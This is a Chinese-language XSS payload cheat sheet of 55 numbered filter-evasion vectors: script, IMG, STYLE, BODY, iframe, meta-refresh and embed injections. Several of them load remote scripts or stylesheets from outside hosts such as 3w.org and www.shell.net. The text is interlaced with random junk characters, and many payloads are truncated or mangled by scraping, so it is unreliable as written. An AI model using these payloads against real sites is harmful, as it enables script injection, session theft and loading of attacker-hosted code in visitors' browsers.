(1)普通的XSS JavaScript注入
/ ? v7 _8 d3 s: h<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- D* ?' f' J# J0 F: D) D(99)另类弹框
) d2 c: B7 @; E) G( {/ i<q/oncut=alert()>14 ?9 v9 M0 c& y; ^' |
<s/onclick=alert()>b5 n6 X6 J, O) N! i6 o5 A! s2 g
<XSS=" onclick="alert(1)//">clickme</SSX=">" A9 z6 B8 @* v- c/ _7 I7 v9 a
<zzz onclick=alert`1`>clickme</zzz> ; c$ C# i. l1 }( i* Z" a
<a onclick=alert`1`>clickme</a>; q# R$ m; J$ @' X, w2 z
<a=">clickme</a=">
$ s- ? k9 J; i<a=">clickme</a>
( z. p1 g' e A; ]6 g1 ~* f<z=">clickme</z=">
5 O( [! ]( y' {2 t<z onclick=alert`1`>clickme</z>1 l8 m0 H, y; T R- x
- v1 N0 F* U% V1 X; U4 \+ T( k(2)IMG标签XSS使用JavaScript命令, q) U% o9 [! B' @
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>* U' R7 h a* e8 c. i
% y1 w* c1 v( Z, \6 p
(3)IMG标签无分号无引号
3 W% @# B9 I# ~2 {- b# y. Y<IMG SRC=javascript:alert(‘XSS’)>
" k9 @. j. R0 j) s5 i
o6 { [ @$ a/ D m- k; C6 `7 g(4)IMG标签大小写不敏感
; i% r" t2 n% y% N$ ]+ l% R1 X<IMG SRC=JaVaScRiPt:alert(‘XSS’)>2 c5 f, q' r z3 L) y
( A7 d0 L5 t0 G; t' |(5)HTML编码(必须有分号)
0 l1 ?* {7 b& A; B<IMG SRC=javascript:alert(“XSS”)>
5 v$ {( B: F( A% R- B* k3 V) a1 \ |- W$ a5 D: z p+ h
(6)修正缺陷IMG标签, }) A. B3 K3 m( Z h: \- k
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>) c9 s, g& K: _# C
+ I. x) k2 r$ G6 a* p6 m) n. o
(7)formCharCode标签(计算器)% g/ B" q; {% z8 x S$ Q
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
3 ~% s5 f1 W* q* a: n' P, l/ k* w I% M9 N% R+ x8 j# M
(8)UTF-8的Unicode编码(计算器) |' ^9 T$ n1 d. O2 E
<IMG SRC=jav..省略..S')>8 }/ {% v( q" J v6 C; l3 v1 [* s
2 c8 G( c. l0 U2 n& s6 Z# ?6 |(9)7位的UTF-8的Unicode编码是没有分号的(计算器)$ F3 l6 m1 k, W$ Q0 s7 m! a
<IMG SRC=jav..省略..S')>
0 {, i$ q5 x- I' i' u/ T) n0 g" v6 k3 m: h7 K! W
(10)十六进制编码也是没有分号(计算器)
: Q, \' s5 Q9 E7 X<IMG SRC=\'#\'" /span>8 J/ F2 H {1 P2 U0 \
, A- E. |. @+ A4 m& l. G(11)嵌入式标签,将Javascript分开/ n6 V" X' D+ w8 v5 ~
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>( z5 Z9 F5 ~) f* p& V+ b
! e+ s- i0 k% r2 `
(12)嵌入式编码标签,将Javascript分开/ O/ u7 a, U: t6 N, D6 h: x" b# i
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>, Z( w! U% F0 e3 f% _$ [% K
; c! h# p) D' F; F8 f/ \(13)嵌入式换行符
) I$ | ]' I/ |" ?; Z<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
1 x0 L5 C7 z& i" l- b2 I# ~6 L
* w. z" ~* R* m(14)嵌入式回车9 E' \- A* s. f6 K' N D
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
& a; P$ q1 W7 s- L: S0 A, B/ e6 O
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
5 d) i9 n( L E8 i+ W F<IMG SRC=\'#\'" /span>+ ]) N2 H) i; i' p0 `! m
- r0 }: g; W: U6 E4 r5 W( t
(16)解决限制字符(要求同页面)/ q8 h# X7 p& C: e. k. ^
<script>z=’document.’</script>
" u) p8 d, M- \( G<script>z=z+’write(“‘</script>
+ r7 }9 a2 L' a. M" x# M9 i/ S1 q4 A<script>z=z+’<script’</script>
" B8 v. F$ L( a/ ]3 \; L<script>z=z+’ src=ht’</script>
$ r; _0 U' d# r: u+ \/ I<script>z=z+’tp://ww’</script>
6 R* r, T3 ~5 @! a8 O# D ~. i<script>z=z+’w.shell’</script>9 t( c- C+ _& N& W9 e' \+ x" N3 \
<script>z=z+’.net/1.’</script>! v" Q$ }7 K9 `) D
<script>z=z+’js></sc’</script>
' ~# |6 d+ J4 |( p2 ~4 u<script>z=z+’ript>”)’</script>
# @4 w: X6 ~( R2 @) p- C<script>eval_r(z)</script>
' x0 o! [0 S4 _: N" A7 x' J2 r. n/ G
* T+ B3 Z/ }4 W' M(17)空字符( ~: u% V' Z% p0 W# \, y
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
/ C, ]- a: U6 |9 U5 R9 t1 H( N% Q! y
2 a. S4 j- I2 O4 Q# }! U4 d(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
, o* j: z* ~/ w) O2 b1 eperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out L1 M4 G* p1 [; }- v" o- h. w/ A
6 B: b0 U/ r4 m, y, w(19)Spaces和meta前的IMG标签
8 ? u8 `$ O+ _. S. v0 y<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
1 I' N0 a9 w$ ~) A0 R
& g- E W* ~2 L& {(20)Non-alpha-non-digit XSS
+ Q, J8 G% x" s3 _<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
. m/ C+ U" G+ ^9 }7 M$ g
+ A! [, d8 N3 h7 p(21)Non-alpha-non-digit XSS to 2: `. l( K! W% z' p9 H
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>; `2 E/ |& t# m/ ?* @
; Q6 E4 q4 X: k* h a j(22)Non-alpha-non-digit XSS to 3% B2 `; k/ L z6 y. U+ {; R
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>/ m- x5 l) C' D, B" Z/ [3 i
/ G' V/ z8 q$ `5 |: S J9 y
(23)双开括号
8 ^: f, s% `; a; Y, W<<SCRIPT>alert(“XSS”);//<</SCRIPT>/ S" k2 N- \8 U) F2 N- M! d
6 P' j. B& K# J/ q(24)无结束脚本标记(仅火狐等浏览器)- I4 W7 [4 E' @ P# _
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
! ?3 G- r1 G: r; V
* p/ E" D8 }# I7 ^(25)无结束脚本标记2
8 e" [. ]2 ?9 O# b, V; }<SCRIPT SRC=//3w.org/XSS/xss.js>
4 r' L$ y$ t9 g7 q6 n4 o+ _! k+ g0 a: ~' n3 W. M: t
(26)半开的HTML/JavaScript XSS
t( P5 g2 C6 Y<IMG SRC=\'#\'" /span>! j% A3 L V# J7 A" Z, {' U
$ I" D1 X6 n7 _* k7 F) }5 \% i(27)双开角括号- |1 q8 T' O3 m4 B7 e3 I
<iframe src=http://3w.org/XSS.html <& G L; _2 `' L/ j+ i. s' J3 u. U
" M6 S, t1 e/ [4 m: C9 S* |/ C(28)无单引号 双引号 分号
* u ]; T3 u+ ^2 S% n<SCRIPT>a=/XSS/" V2 o- _9 b) l( P( P: ^
alert(a.source)</SCRIPT>
7 G$ A8 z$ M* v7 {& G! R7 b9 g" ?) Z( a4 t }( n& [ o8 {2 K$ g
(29)换码过滤的JavaScript# v" v4 c: l$ }$ D- q
\”;alert(‘XSS’);//1 D" a& x% `5 v; x/ J1 h
3 E g6 y: a5 q
(30)结束Title标签
$ G" A3 h! q& p c( G, Q</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
# e) b p6 M* f* u3 r& E2 {1 ], ?2 o8 z/ z2 h% T
(31)Input Image1 o/ G3 a: J* z/ d
<INPUT SRC=\'#\'" /span>' b6 E9 @. B8 ?$ o& L
' v: h3 M; M6 E9 {(32)BODY Image
' T4 |- d- C* Y' X" I9 Y6 }! g<BODY BACKGROUND=”javascript:alert(‘XSS’)”>" I+ ]0 {* `" {& Z: Q4 Q7 A
, T# K6 l* h% J: |1 H1 L1 i3 m% R
(33)BODY标签, e, O( Z3 e( J6 a9 }- E( ~3 C
<BODY(‘XSS’)>
. m- S( b; i, x6 `4 K/ b9 v2 T5 w2 D) S( u
(34)IMG Dynsrc
u4 }. u N! ~6 R% c<IMG DYNSRC=\'#\'" /span>6 h& u6 y% F M# i8 `4 m K& t0 ?
& s' Z4 |* @9 z. f3 p% Q(35)IMG Lowsrc
{: ?8 C* U/ E. S6 U6 {<IMG LOWSRC=\'#\'" /span>
: x. B7 y9 Z6 @% t
X2 K! l2 ]) {7 V; i(36)BGSOUND7 o9 F6 L. o% p0 E9 u
<BGSOUND SRC=\'#\'" /span>$ c7 m8 b0 t, R! y
. q5 [' |; F0 K(37)STYLE sheet* @7 V2 u g1 Y/ U
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
* S/ ?- _' y4 k1 _7 r# n7 t# U* }6 [6 z$ Z9 A; @# p
(38)远程样式表# u$ V" r4 K8 m3 @& h$ M% M
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
: l/ `) b2 ?4 A& |! M& t. s. g5 R, B4 }1 ~5 {
(39)List-style-image(列表式)
7 G( g* i6 f$ a/ I# N N( W& U3 e<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS6 Q1 C( S/ S3 N7 d2 R% c
$ ~( ?! A% ]/ u5 V4 ?(40)IMG VBscript# `3 P, d; v- b! \2 B# T
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS/ T% ?2 e1 X: O
u2 _% n6 |9 ]" n, |
(41)META链接url
4 u: m( ~! L9 F/ v4 V( t- Z<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>8 C# L. E( o8 W
7 E) A$ _/ t% t* f! K% R9 p3 ]. K
(42)Iframe" _$ X. \4 e! V- e0 g
<IFRAME SRC=\'#\'" /IFRAME>
* s. p% f- @, s ]. I5 u3 W2 Q; O4 }; x4 T2 T* @) a
(43)Frame* o# b$ Q k* w2 j
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>! {" b# Z* @& ~8 \; f% g+ R
; ~4 i- T3 e$ M; ]3 ~2 J% |(44)Table/ {( k8 u/ }6 i4 W) F
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>6 X! C# e8 R. J- C8 R& p
9 @# K2 D4 A2 Z2 M. ]' k
(45)TD
8 n: B- `! \* y* p7 k; k, J<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
- p- }1 x, a8 a) Q# O4 A( p4 Q+ V/ h1 F7 e" i
(46)DIV background-image, w5 F' \5 y& w7 E5 t
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
* m6 C0 A {- U' e1 g; d5 D! P
- ]) k ]# B7 J' p( j2 j1 I! N(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
. @) ]& ^# H8 }! I<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
8 w% c: v2 H% a4 h* W# F
. `4 v* O+ W( |: M1 x(48)DIV expression
8 o3 s! a3 n. p9 P<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
( `# V1 T u8 V
, v) O4 l6 a, ~9 P(49)STYLE属性分拆表达
0 R5 T5 C3 \" |<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>, f; d' Z' x5 e, f4 [
0 l' A7 K/ a5 V* E" V4 m' V) [
(50)匿名STYLE(组成:开角号和一个字母开头)0 y) g" ?( H4 }# ]
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
k& Q8 i6 U9 I, p+ w; A! ^
8 y& f% ], n+ x4 @/ m(51)STYLE background-image
4 }9 J5 ]8 z- A# F4 C: D a* }* [$ l<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>4 }; G+ X) d0 r* ]- q" Q
P' a6 s; J2 Z* m! j
(52)IMG STYLE方式7 W$ M" ]( g d/ U! ^8 z
exppression(alert(“XSS”))’>
: b0 q. F$ `$ b
4 C% h& ]- I" t1 u5 `, n; O0 Y7 H0 r1 O(53)STYLE background: X, Y+ u+ {; ^# Q8 K1 n$ o! U; q
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>: m0 F0 y) o; g$ e
7 X" a2 c" `9 W- T) f. l(54)BASE0 B" ]5 b# I' Q
<BASE HREF=”javascript:alert(‘XSS’);//”>$ q# b7 r2 X) H4 `
/ V4 ^) Y/ y0 d( i& a5 C% R(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS' w* t. q, P' Q z
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>4 A8 u9 t7 B5 Y; b* j) C1 b
|